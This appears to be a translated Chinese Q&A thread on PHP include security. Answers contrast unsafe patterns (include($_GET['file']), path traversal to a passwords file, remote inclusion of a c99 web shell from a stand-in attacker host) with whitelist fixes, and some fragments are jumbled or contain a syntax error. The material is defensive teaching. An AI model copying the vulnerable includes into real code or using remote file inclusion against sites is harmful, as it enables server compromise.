我正在使用“include”函数(例如“include 'header2.php'”或“include 'class.users.php'”)在我的网站中添加头文件或会话类。我不太记得在哪里,但我听说黑客们某种方式滥用了这个“include”功能,发送虚假的包含页面或类似的东西。
基本上,我想知道这个“include”函数是什么,如何保护它,他们如何滥用它,以及是否有更好的解决方法来实现我所需要的功能。
提前感谢您的帮助。
提前感谢您的帮助。
这完全取决于你的实现方式。如果你明确设置了路径,那么就是安全的。如果你允许用户输入来决定文件路径而没有进行消毒或检查,则可能会发生攻击。
不安全(目录遍历)
<?php
include($_GET['file']);
?>
不安全(启用URL fopen)
<?php
include('http://evil.com/c99shell.php');
?>
不安全
<?php
include('./some_dir/' . $_GET['file']);
?>
部分不安全(*.php文件容易受攻击)
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
安全(虽然我不确定为什么有人要这样做。)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
安全
<?php
include('./includes/somefile.php');
?>
include($_GET['menu_file'])
<-- 这是非常错误的。http://example.com/a.inc
" 查看它吗? (2) 如果他们不知道给定目录中存在哪些 .inc 文件,该怎么办? - Alan如果您像这样使用Include,可能会被滥用:
include($_GET["page"]);
然后调用URL:
myscript.php?page=index.php
攻击者可以将index.php
替换为hxxp://hackerz.ru/install_stuff.php
,然后您的服务器将欣然运行它。
include
本身是完全安全的。只需始终验证/转义您的输入即可。
只要你的服务器没有被入侵,任何后端操作都是安全的。以下操作不安全:
$var = $_GET['var']';
include $var . ".php";
include "page.php";
page.php
是安全的。 ;) - Mr. Llama如果您不:
www.someoneelsesssite.com/something.php
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
2和3技术上有一个警告:如果您禁止使用 .
或 /
或在Windows上使用 \
,那么您可能是安全的。但是,如果您不知道原因,则不要冒险。即使您认为数据库是只读的或者以其他方式安全的,也最好不要假设除非您确实必须这样做,而这几乎从来没有发生过。
正如pp19dd的答案所指出的那样。重要的是您将包含的名称命名为.php扩展名。如果您已经设置了apache(或其他web服务器)将其他文件类型解析为PHP,那么也是安全的。但是,如果您不确定,请专门使用.php。
?include=page.php
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
我正在使用这个方法。
<?php include (dirname(__FILE__).'/file.php');
include
静态PHP文件,那么在这方面你真的没有什么可担心的。 - Blender